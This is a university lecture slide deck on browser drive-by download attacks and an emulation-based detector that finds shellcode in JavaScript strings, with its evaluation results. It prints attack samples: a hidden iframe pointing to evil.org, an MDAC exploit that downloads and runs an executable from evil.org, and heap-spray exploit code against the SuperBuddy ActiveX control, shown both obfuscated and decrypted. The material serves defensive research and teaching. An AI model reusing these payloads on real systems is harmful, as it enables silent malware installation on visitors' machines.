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Overview

• Why is the browser an interesting target for attackers

• What is (not) a drive-by download

• Life cycle of a drive-by download attack

• Drive-by download example

• Detecting drive-by attacks

• Evaluation

• Implementation details

• Summary
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The Web Browser as Attack Target

• Active content is controlled by the web-site owner
– Scripts are downloaded and executed (in protected/secured 

environment)

• By-pass network level protection
– Pull based infection scheme (NAT and proxy cannot protect the client)
– Easy obfuscation/encryption

• Huge install bases of browsers and plug-ins
– 90% of all Internet enabled devices run flash

• SANS lists web browsers as #1 in client-side vulnerabilities
• [Provos 2008] Identified 1.3% of all Google queries link to 

malicious sites → „This site may harm your computer“
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What is (not) a Drive-by Download

• Drive-by download attack:
Automatically downloads and installs malicious software from the 

web without user interaction or the users' consent
Commonly performed through active client side scripts

• Social engineering
„Install the Codec to watch this movie“ requires user interaction 
→ not a drive-by download
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Life Cycle of a Drive-by Download

• Attacker hosts web site that delivers attack code
Problem: how to attract many users to that site?

• Attacker manipulates legitimate sites to deliver attack code
– Buy advertisements
– Compromise web server
– Exploit vulnerabilities in web applications (automatically)

• Modification to a site can be a single iframe or script tag
<iframe src=“http://evil.org/attack.php“ style=“display:none“></iframe>

• Browser fetches and interprets the additional content (e.g., 
attack scripts)

http://evil.org/attack.php
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Life Cycle (cont.)

The attack itself:

(1) Ignores returning clients 
• Deliver attack only once per IP and time-frame → hamper analysis

time-frame because of dynamic ip addresses
• Returning clients are redirected to benign sites
• New clients are redirected to sites with attack code

(2) Fingerprints the client 
e.g., browser version, language, enumerate installed plug-ins

(3) Depending on fingerprint information loads specific attack
e.g., if vulnerable media player plug-in is present load exploit

(4) Performs attack download and executes/installs malware
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Drive-by Download Attack Vectors

• API misuse
– Parameter validation problems (SINA downloader)
– Uncommon combination of functionality (MS06-014 mdac)

• Exploit vulnerability in browser or plug-in
1. Load shellcode to browser address space
2. Exploit control flow diverting vulnerability
3. Shellcode downloads and installs additional malicious 

components with the privileges of the browser



International Secure Systems Lab
Technical University Vienna

Attack Vector: API misuse

• MS06-014 mdac - exploit

var xml = CreateObject('msxml2.XMLHTTP','');
var sh = CreateObject("Shell.Application",'');
var ado = CreateObject('adodb.stream','');
xml.open('GET','http://evil.org//load.php',false);
xml.send();
ado.open();
ado.Write(xml.responseBody);
var fname = './/..//svchosts.exe';
ado.SaveToFile(fname,2);
ado.Close();
sh.shellexecute(fname);
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Attack Vector: Shellcode

• Load shellcode to browser address space
– e.g., string variable in a script
– Exploit vulnerability and divert control flow

• Problem: where in memory is the string 
variable/shellcode

• Common solution: NOP sledge
• More effective in combination with Heap-Spraying
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Heap-Spraying

• Combine NOP sledge and shellcode in a variable

• Repeatedly copy variable to the heap until large 

address ranges are occupied by these values

• Knowledge of heap organization helps to reliably spray 

the desired area (Heap Feng-Shui)
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Heap-Spraying

Normal Heap Layout After Heap-Spraying
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Attack Vector: Shellcode (cont.)

• Load shellcode to browser address space
– e.g., string variable in a script
– Exploit vulnerability and divert control flow to sprayed heap

• Execution slides down the NOP sledge and executes 
the shellcode

• Shellcode downloads and executes arbitrary 
application from the Internet

• Shellcode can use system libraries to ease its task
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Attack Vector: Shellcode (example)

• Superbuddy drive-by attack

//load shellcode
var shellcode = 
unescape("%u00e8%u0000%u5d00%uc583% ...");

//spray the heap
for (var cnt=0; cnt < cnt_max; cnt++) {
   arr[cnt] = nops + shellcode;
}

//exploit vulnerability
var sb = new ActiveXObject('Sb.SuperBuddy');
sb.LinkSBIcons(0x0c0c0c0c);
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Attack Vector: Shellcode (example)

• Visiting http://www.thewebleaders.com on Sept. 2nd 2008
1  function XfNLVA421(IaP1EoKdg) {
2    var I833Nad64 = location.href;
3    var hOtmWAGmO = arguments.callee;
4    hOtmWAGmO = hOtmWAGmO.toString()
5    ...
6    try {
7      eval(jiiIUpFi3);
8    } catch(e)
9    ...
10 }
11 XfNLVA421(’a7A7a7A7ac9bB5b261...’);

http://www.thewebleaders.com/


International Secure Systems Lab
Technical University Vienna

Attack Vector: Shellcode (example, cont)

• After decryption
1  function IxQUTJ9S() { //Spray Heap
2    var YlsElYlW = 0x0c0c0c0c;
3    var hpgfpT9z = unescape("%u00e8%u0000%u5d00%uc583% ...");
     ...
4    for (var CCEzrp0s=0;CCEzrp0s<Wh_74Nkm;CCEzrp0s++) {
5          je9rIXgu[CCEzrp0s] = QdV7IGyr + hpgfpT9z;
6    }
     ...
7  }
   ...
8  var Kp1uYOjP = new ActiveXObject(’Sb.SuperBuddy’);
9  if (Kp1uYOjP) {
10    IxQUTJ9S();
11    Kp1uYOjP.LinkSBIcons(0x0c0c0c0c);
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Existing Evasion Techniques

• Fingerprinting browser as first attack step
– Only load attack code for installed plugins 

• Obfuscation
– Substitute variable names / remove white spaces

• Encryption
– Cipher text + decryption routine

– Dynamically decrypt and execute (eval) attack code

– Make decryption key dependent on URL and source code 

• JavaScript implementation specific attacks
– e.g., try – catch – finally syntax in IE vs. Firefox
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Detecting Drive-by Attacks

• Track object (string) allocation in JavaScript

• Check strings for x86 exectuable contents

• If Shellcode is detected abort script execution before 

control is transfered to the shellcode
– Shellcode is detected at creation time before the exploit takes 

place
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Strings in ECMA-262 / JavaScript

• Strings defined as 16-bit Integers (commonly 
interpretet as UTF-16)

i.e., ASCII strings have every other byte set to 0x00

• JavaScript strings are immutable

e.g., string.replace yields a new string object

• JScript adds facilities to support ActiveX for plugins
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Track String Allocation in JavaScript

• Modify Spidermonkey (Mozilla JavaScript engine)

• Instrumented string creation locations:
– Global variables
– Local variables
– Object member variables (i.e., properties)

• Record start address and length of the content
• Concatenating two (immutable) strings results in a new 

string being created
• Manage a tree structure for concatenated strings
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Check Strings for x86 Executable Contents

• Leveraging libemu to detect executable contents

• libemu interprets bytes arrays as x86 instructions 
(starting at each byte offset)

• If a sufficiently long sequence of bytes result in valid 
instructions libemu reports a shellcode

• Current conservative threshold is 32 bytes

• Premise: Attacker cannot execute shellcode before it 
was analyzed

• Straight forward detection approach is to emulate all 
strings at creation time



International Secure Systems Lab
Technical University Vienna

Performance Optimizations

• Two possible optimizations:
(1) Reduce the number of invocations of the emulation engine
(2) Reduce the amount of data that is emulated

(1) Consider the SpiderMonkey engine as safe
– Exploits commonly target the browser or plug-ins (not the 

JavaScript interpreter itself)
– Scripts can create strings (also such that contain shellcode)
– Once control flow leaves the core interpreter the emulator is 

invoked on the recorded memory areas
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Performance Optimizations (cont.)

(2) Reduce the amount of data that is emulated

• Delayed checking allows to gather meta information on 
the involved strings

• Concatenation of strings result in a new string being 
created

• Check concatenated strings first and discard 
substrings if no shellcode is detected

• Make use of JavaScript garbage collection
– Invoke GC at every transition out of the core JS engine
– Zero out unreachable strings
– Remove unreachable strings from the list of strings to emulate
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Evaluation

• Firefox extension that visits a list of URLs

• Visit top 4,500 Alexa pages, no false alarms

– x86 instruction set is densly packed, (i.e., almost any 

sequence of ASCII characters can be interpreted as 

instruction sequence)

– Remember: JavaScript characters are 16bit UTF-16 integers

(i.e., for ASCII strings every other byte is 0x00)
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Evaluation (cont.)

• Evaluate detection effectiveness on 1,187 traces of 
web-browsing sessions known to contain drive-by 
attacks

• Traces were collected by Capture HPC visiting URLs 
advertised in spam emails

• Honey-client is Windows XP SP2 + Flash Quicktime 
plug-in

• Drive-by attacks are identified if the visit to a URL 
results in a new process being started
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Evaluation (cont.)

• Dissect network traces into 11,910 downloaded files 
(HTTP requests) and host them on local web server

• Postprocessing of files included:
– Unzip gzip'ed content

– Add <html> and <script> tags if necessary (e.g., URLs 
included by src attribute of script tags)

• Visit each individual URL with the instrumented browser
• Advantages of evaluating offline:

– Reproducable experiments
– No interference with sites being taken down
– No redirection on revisiting clients
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Evaluation (cont.)

• Initially detected 956 of 1,187 drive-by attacks (81%)

• Remaining 231 traces contain:
– Exploits that don't rely on shellcode (e.g., SINA downloader)
– VBScript exploits
– Problems with the environment (e.g., attacks split over 

multiple files)
– CAB files that automatically launch „Windows Management 

Instrumentation“ process

• Overall detection rate: 93,3%
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Performance Evaluation

• Visit Alexa top 150 pages
– Unmodified Firefox browser
– Modified Firefox browser and emulating strings upon creation
– Modified Firefox browser with initial optimizations

• Pentium Core 2 Duo, 2.66GHz, 4Gb Ram, 1MBit ADSL

Total Time [s] Time/page[s] Overhead/page Factor

Off-the-shelf Browser 527 3,51

Protected Browser without optimization 1237 8,25 4,73 2,35

Protected Browser with optimization 876 5,84 2,33 1,66
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Implementation Details

• Most exploits target Internet Explorer and ActiveX plug-ins
– Extend Firefox to support fake ActiveX components (i.e., each 

attempt to create a component succeeds and a dummy object that 
logs all method calls and parameters is returned)

• Prevent Browser fingerprinting
– Modify User-agent identifyier (i.e., navigator JS object)

– Emulate IE JScript problem with try­catch­finally syntax

1 try {
2   ...
3 } catch (e) {};
4 finally {
5   ...
6 }
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Implementation Details (cont.)

• Encrypted attack scripts with dynamic decryption keys
– If key is stored in a variable, decryption happens transparently
– Key is dependent on the script's environment (e.g., the URL where it 

is hosted)
– During evaluation contents were served from a local web-server

→  URLs did not match, decryption resulted in garbage
– Firefox was modified to report the URL that was visited when the 

trace was recorded (i.e., the URL was correct)

• Defusing logic bombs
– Scripts might use setTimeout to delay their execution, all delays > 

50ms were replaced with a value of 50ms
– Custom built timeout function (i.e., measure elapsed time in a loop, 

escaped detection first), after patching out the attack was detected
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Mitigation Strategies

• Black- / white-listing
– Google crawls potentially malicious sites and adds a warning tag 

to search results (how accurate/timely?, evade by detecting 
Google bot)

– AVG link scanner scans ALL search result pages for malicious 
behavior (additional traffic to sites not visited, ad-revenue,evade 
by detecting link scanner)

• API misuse
– Machine learning based approaches

Build a profile of known good behavior, and compare actual behavior 
against this profile (profile can contain: number of calls per function, 
abstract description of heap spraying, ...)

– Infer additional information for function argument values/domains
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Mitigation Strategies (cont.)

Control flow diverting attacks

• Non – executable memory for objects on the heap
• Emulation based mitigation approach

Shellcode needs to be executable machine code (e.g., x86)
Find longest valid instruction sequence in objects created by 

scripts
→ Run all script allocated contents in an emulator

If length of sequence > threshold 
→ Shellcode detected (abort script, notify user, ...)

Threshold value influences false positives/negatives 
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Mitigation Strategies (cont.)

Browser built-in solutions

• Pros:
– Protects the user from actually launched attacks

(e.g., attack targets other browser no alert is raised)

– Computational effort only for pages actually visited

• Cons:
– Only protects users with equiped browsers
– Computational overhead (slowdown) for every user
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Challenges

• Performance impact
Browser developers are eager to boost performance especially for 

JavaScript engines (Web 2.0, Ajax, ...)
Performance impact should be small
Optimizations to proposed solutions necessary

• White listing of trusted sites
• For emulation approach reduce amount of data to emulate, speed 

up emulation

• Analysis tools
Obfuscation, encryption, and one time attacks hamper analysis

→ Efficient methods to capture and replay attacks (network 
traffic) are needed for reliable analysis tools

• Moving target (Attacks on Flash, malicious PDF files, ...)
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Summary

• Browser is #1 target for client vulnerabilities

• Drive-by downloads are easy to distribute (1 line html)

• Current attacks are already sophisticated

(e.g., Obfuscation, encryption, fingerprinting, one time attacks)

• Perform detection by

– Tracing string creation

– Emulate string contents to detect shellcode

• Evaluation resulted in 93% detection rate

• Performance slowdown factor 1.7
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Questions ?


